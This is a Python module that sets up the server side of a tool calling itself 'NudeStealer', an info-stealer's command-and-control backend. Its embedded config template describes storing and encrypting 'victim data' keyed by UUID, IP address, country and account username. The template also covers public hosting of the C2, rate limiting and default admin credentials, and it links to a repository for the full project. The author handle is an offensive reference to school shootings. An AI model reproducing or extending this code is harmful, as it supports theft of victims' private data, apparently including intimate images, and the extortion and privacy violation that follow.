__projname__ = "NudeStealer Server"
__author__ = "0xschoolshooter"
__version__ = "1.0.0"
__title__ = f"{__projname__} v{__version__} ~ by {__author__}"


from pathlib import Path
from concurrent.futures import ThreadPoolExecutor
from .helpers.logger import setup_logger
from serverside.helpers.config import get

logger = setup_logger()

running_tasks = {}
executor = ThreadPoolExecutor(max_workers=2)

BASE_DIR = Path(__file__).resolve().parent.parent
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")

DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3")

CONFIG_TEMPLATE = """
[general]
app_name = NuDe Stealer
banner = /hbf mission / Operation
version = 1.0.0
# Only allows local connections, developer only debug features enabled
debug = false

[paths]
# you might as well change these if you want to keep things organized, but they can be left as is
log_file_name = nudestealer_log.log
database_file_name = nudestealer.sqlite3
# Folder where victim data will be stored after
# their UUID, last updated state (date), IP address/country & account username 
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
vic_data_folder = vic_data

[network]
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
host = 127.0.0.1
# port the http server will run on
port = 80
# whether to encrypt data before sending it via Ascon-AEAD128
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
use_ascon = True
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
ratelimit = True
# 0 for unlimited
max_concurrent_connections = 0

[administration]
# admin account username and password, change these before running the server for the first time
systemadmin_username = admin
systemadmin_password = nudestealer
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
# https://git.fingeri.ng/dff/nude-stealer
self_host = True"""